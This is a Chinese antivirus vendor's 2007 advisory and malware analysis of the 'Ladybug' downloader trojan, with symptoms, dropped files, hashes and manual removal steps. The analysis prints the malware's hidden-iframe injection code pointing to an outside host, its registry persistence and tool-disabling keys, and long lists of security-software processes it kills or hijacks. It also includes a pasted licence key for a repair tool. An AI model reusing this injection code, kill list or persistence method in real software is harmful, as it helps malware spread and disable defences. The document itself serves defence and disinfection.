病毒介绍
12月18日，金山毒霸全球反病毒监测中心发布圣诞期间紧急病毒预警，行为极度恶劣的“瓢虫”病毒新变种（win32.troj.downloader.vb.237568）预计在圣诞节前后大面积发作，感染电脑内将爬满“瓢虫”，广大用户需高度警惕。
金山毒霸反病毒专家戴光剑表示，“瓢虫病毒集熊猫烧香、av终结者等年内重大病毒破坏性于一身，虽然目前病毒本身还有些缺陷，但随着新变种的不断出现，其破坏程度不容小觑。”
据了解，“瓢虫”病毒与熊猫烧香类似，感染性极强，用户电脑一旦感染该病毒，除系统盘，被感染后的exe文件图标将变成绿色的“小飘虫”；同时，用户电脑内的浏览器、任务管理器、文件夹选项、系统时间等项目都将遭受破坏。戴光剑指出，这是一个感染性极强的病毒，病毒运行后，用户电脑将表现出五大“中毒”症状：
1、电脑运行速度立刻变慢，杀毒软件无法正常使用；
2、系统时间被修改为2030年，使依赖系统时间的软件全部失效；
3、浏览器首页被篡改。当用户打开浏览器，会发现首页被修改为一个伪装的“百度”，由于该网址同样具有正常的搜索功能，所以极具容易迷惑性；
4、“任务管理器”和“文件夹选项”遭屏蔽。如果用户想使用“任务管理器”和“文件夹选项”来查看是谁在系统中捣鬼，会发现这两个功能都被病毒屏蔽掉；而当用户试图打开注册表时，会弹出一个对话狂，提示“注册表编辑已被管理员停用”；再仔细检查，会发现连system32文件夹都不见了，病毒已经把自己隐藏得非常深；
5、硬盘、软驱、光驱自动共享。用户打开“我的电脑”时，可发现机器的硬盘以及软驱、光驱全部已经自动设置成共享状态，并且这种共享还被病毒锁死，无法改回正确的设置。这样，只要有谁愿意，都可以一览无遗地浏览用户电脑中的资料。
金山毒霸反病毒工程师分析指出，病毒潜入用户电脑系统后，会在系统盘中释放出6个病毒文件，分别为%windows%\system32\目录下的autorun.inf、netshare.cmd、avpser.cmd、taskeep.vbs、sdgames.exe，以及%windows%下的system.ini。除此而外，病毒还在全部磁盘的根目录下生成autorun.inf、recycleds.url、sdgames.exe、windows.url、新建文件夹.url等文件。
根据瓢虫病毒的传播特点，金山毒霸反病毒应急中心及时进行了病毒库更新，升级毒霸到2007年12月18的病毒库即可查杀以上病毒；如未安装金山毒霸，可以免费下载最新版金山毒霸2008或使用金山毒霸在线杀毒来防止病毒入侵。拨打金山毒霸反病毒急救电话010—82331816，反病毒专家将为您提供帮助。
年终岁末是病毒的高发期，金山毒霸反病毒工程师建议广大用户：1、最好安装专业的杀毒软件进行全面监控，防范日益增多的病毒。用户在安装反病毒软件之后，应将一些主要监控经常打开（如邮件监控、内存监控等）、经常进行升级、遇到问题要上报，这样才能真正保障计算机的安全。2、由于玩网络游戏、利用qq聊天的用户数量逐渐增加，所以各类盗号木马必将随之增多，建议用户一定要养成良好的网络使用习惯，及时升级杀毒软件，开启防火墙以及实时监控等功能，切断病毒传播的途径，不给病毒以可乘之机。
病毒详细分析和删除方法
病毒样本来自卡饭，病毒行为恶劣，主要表现为：
1.攻击杀毒软件之后进行ifeo映像劫持
2.感染htm等网页文件
3.感染或覆盖exe等可执行文件
4.破坏安全模式
5.破坏显示隐藏文件文件夹选项等
6.修改系统时间并锁定时间
7.可通过u盘等移动存储传播
8.关闭windows防火墙等服务并打开许多危险服务，并使得用户磁盘被共享
9.后台添加账户并设定管理员权限
10.修改某些文件关联
下面为具体分析
file:sdgames.exe
size:59282bytes
fileversion:3.02
modified:2007年12月6日,17:56:32
md5:fc334ffcf5aff3ca8235705d61f62990
sha1:4dffe9e9bb666a13cc646eba4371bdf4affb49bc
crc32:1dd096c2
1.病毒运行后，释放如下文件或副本
%systemroot%\system32\sdgames.exe
%systemroot%\system32\taskeep.vbs
%systemroot%\system32\avpser.cmd
%systemroot%\system32\netshare.cmd
%systemroot%\system32\autorun.inf
在每个磁盘分区释放sdgames.exe和autorun.inf达到通过u盘传播的目的（首先通过rd命令删除autorun.inf文件夹使得某些通过此种方法免疫u盘病毒的方式失效）
并且在每个分区释放windows.url，新建文件夹.url，recycleds.url指向该分区根目录下的sdgames.exe
诱使用户点击
2.修改reg和txt文件关联指向%systemroot%\system32\sdgames.exe
3.删除
hklm\system\currentcontrolset\control\safeboot\minimal\
hklm\system\currentcontrolset\control\safeboot\network\
hklm\system\currentcontrolset\control\safeboot\minimal\
hklm\system\currentcontrolset\control\safeboot\network\
破坏安全模式
4.创建自启动项目
[hkey_current_user\software\microsoft\windowsnt\currentversion\windows]
<load><%systemroot%\system32\sdgames.exe>[sdgame]
<run><%systemroot%\system32\sdgames.exe>[sdgame]
[hkey_current_user\software\microsoft\windows\currentversion\run]
<winstary><%systemroot%\system32\sdgames.exe>[sdgame]
5.破坏系统的一些功能
禁用cmd:hkcu\software\policies\microsoft\windows\system\disablecmd
破坏显示隐藏文件：hkcu\software\microsoft\windows\currentversion\explorer\advanced\hidden
hklm\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall\checkedvalue
使得文件扩展名无法显示：
hkcu\software\microsoft\windows\currentversion\explorer\advanced\hidefileext
隐藏控制面板：
hkcu\software\microsoft\windows\currentversion\policies\explorer\nocontrolpanel
禁用注册表编辑器
hkcu\software\microsoft\windows\currentversion\policies\system\disableregistrytools
禁用任务管理器
hkcu\software\microsoft\windows\currentversion\policies\system\disabletaskmgr
修改ie主页为：http://www.*.10mb.cn
修改ie默认页为：wangma
隐藏文件夹选项
hkcu\software\microsoft\windows\currentversion\policies\explorer\nofolderoptions
6.关闭如下服务并将其启动类型设为禁用
alg
sharedaccess
wuauserv
7.开启下列服务并将其启动类型设为自动
terminalservices
winmgmt
lanmanserver
8.%systemroot%\system32\netshare.cmd将用户的所有磁盘设为共享
9.添加一个名为guest的账户，并将其设置为管理员权限
10.攻击反病毒软件，利用avpser.cmd强制结束一些杀毒软件进程
ravmond.exe
ravstub.exe
anti*
agentsvr*
ccenter*
rsaupd*
smartup*
filedsty*
regclean*
360tray*
360safe*
kabaload*
safelive*
kastask*
kpfw32*
kpfw32x*
kvxp_1*
kvmonxp_1*
kvreport*
kvxp*
kvmonxp*
nter*
trojdie*
avp.com
krepair.com
trojan*
kvnative*
virus*
filewall*
kaspersky*
jiangmin*
ravmond*
ravstub*
ravtask*
adam*
cset*
pfwliveupdate*
mmqczj*
trojanwall*
ras.exe
runiep.exe
avp.exe
pfw.exe
rising*
ikaka*
.duba*
kingsoft*
木马*
社区*
aswboot*
maincon*
regs*
avp*
task*
regedit*
ras*
srgui*
norton*
avp*
fire*
spy*
bullguard*
persfw*
kav*
zonealarm*
safeweb*
outpost*
esafe*
clear*
blackice*
360safe.exe
shadowservice.exe
v3webnt.exe
v3sd32.exe
v3monsvc.exe
sysmonnt.exe
hkcmd.exe
dntus26.exe
ahnsd.exe
ctfmon.exe
monsysnt.exe
awrem32.exe
winaw32.exe
pntiomon.exe
avgw.exe
avgcc32.exe
promon.exe
pntiomon.exe
magicset.exe
maincon.exe
trcleaner.exe
wmnetpro.exe
修复*
保护*
11.映像劫持杀毒软件和一些常用工具
360rpt.exe
360safe.exe
360tray.exe
adam.exe
agentsvr.exe
appsvc32.exe
autoruns.exe
avgrssvc.exe
avmonitor.exe
avp.com
avp.exe
ccenter.exe
ccsvchst.exe
filedsty.exe
ftcleanershell.exe
hijackthis.exe
icesword.exe
iparmo.exe
iparmor.exe
ispwdsvc.exe
kabaload.exe
kascrscn.scr
kasmain.exe
kastask.exe
kav32.exe
kavdx.exe
kavpfw.exe
kavsetup.exe
kavstart.exe
kislnchr.exe
kmailmon.exe
kmfilter.exe
knod32kui.exe
kpfw32.exe
kpfw32x.exe
kpfwsvc.exe
kregex.exe
krepair.com
ksloader.exe
kvcenter.kxp
kvdetect.exe
kvfwmcl.exe
kvmonxp.kxp
kvmonxp_1.kxp
kvol.exe
kvolself.exe
kvreport.kxp
kvscan.kxp
kvsrvxp.exe
kvstub.kxp
kvupload.exe
kvwsc.exe
kvxp.kxp
kvxp_1.kxp
kwatch9x.exe
kwatchx.exe
loaddll.exe
magicset.exe
maincon.exe
mcconsol.exe
mmqczj.exe
mmsk.exe
msconfig.exe
navsetup.exe
nod32krn.exe
pfw.exe
pfwliveupdate.exe
qhset.exe
qq.exe
ras.exe
rav.exe
ravmon.exe
ravmond.exe
ravstub.exe
ravtask.exe
regclean.exe
rfwcfg.exe
rfwmain.exe
rfwproxy.exe
rfwsrv.exe
rsaupd.exe
runiep.exe
safelive.exe
scan32.exe
shadowservice.exe
shcfg32.exe
smartup.exe
sreng.exe
srgui.exe
symlcsvc.exe
syssafe.exe
trojandetector.exe
trojanwall.exe
trojdie.kxp
uihost.exe
umxagent.exe
umxattachment.exe
umxcfg.exe
umxfwhlp.exe
umxpol.exe
uplive.exe.exe
wopticlean.exe
zxsweep.exe
12.遍历感染非系统分区的exe文件（覆盖方式）
13.遍历感染非系统分区的jspaspphphtmhtmlhta文件
在其末尾加入<iframeid="iframe"width="0"height="0"scrolling="no"frameborder="0"src="http://*.10mb.cn/"name="myframe"
align="center"border="0">的代码
14.修改系统时间的年份为2030年，并禁止用户修改时间
15.隐藏系统文件夹
解决办法：
下载sreng：http://download.kztechs.com/files/sreng2.zip
icesword：http://mail.ustc.edu.cn/~jfpan/download/icesword122cn.zip
1.解压缩icesword
把icesword改名为1.exe运行
进程中找到sdgames.exe右击它结束进程
然后点击icesword左下角的文件按钮
找到如下文件并删除
%systemroot%\system32\sdgames.exe
%systemroot%\system32\taskeep.vbs
%systemroot%\system32\avpser.cmd
%systemroot%\system32\netshare.cmd
%systemroot%\system32\autorun.inf
以及各个分区下面的
sdgames.exe,autorun.inf,windows.url，新建文件夹.url，recycleds.url
2.运行sreng
（由于时间已经被改为2030年所以sreng会弹出过期提示，不用担心，输入下面的授权码即可使用）
用户名：teyqiu
授权号：26129027541185431409013556
打开sreng后点击系统修复－文件关联－修复
系统修复－windowsshell/ie－全选－修复
高级修复－修复安全模式
3.还是sreng中
启动项目注册表删除如下项目
[hkey_current_user\software\microsoft\windowsnt\currentversion\windows]
<load><%systemroot%\system32\sdgames.exe>[sdgame]
<run><%systemroot%\system32\sdgames.exe>[sdgame]
[hkey_current_user\software\microsoft\windows\currentversion\run]
<winstary><%systemroot%\system32\sdgames.exe>[sdgame]
并删除所有红色的ifeo项目
启动项目system.ini
删除windows节点
4.取消磁盘共享
开始运行输入cmd输入如下命令
netsharec/delete
netshared/delete
...
以此类推分别取消所有磁盘分区的共享
5.显示系统文件夹
开始运行输入cmd输入如下命令
attrib-h%systemroot%\system32
6.修复受感染的htm等网页文件
推荐使用csi的iframkill
下载地址：http://www.vaid.cn/blog/read.php?9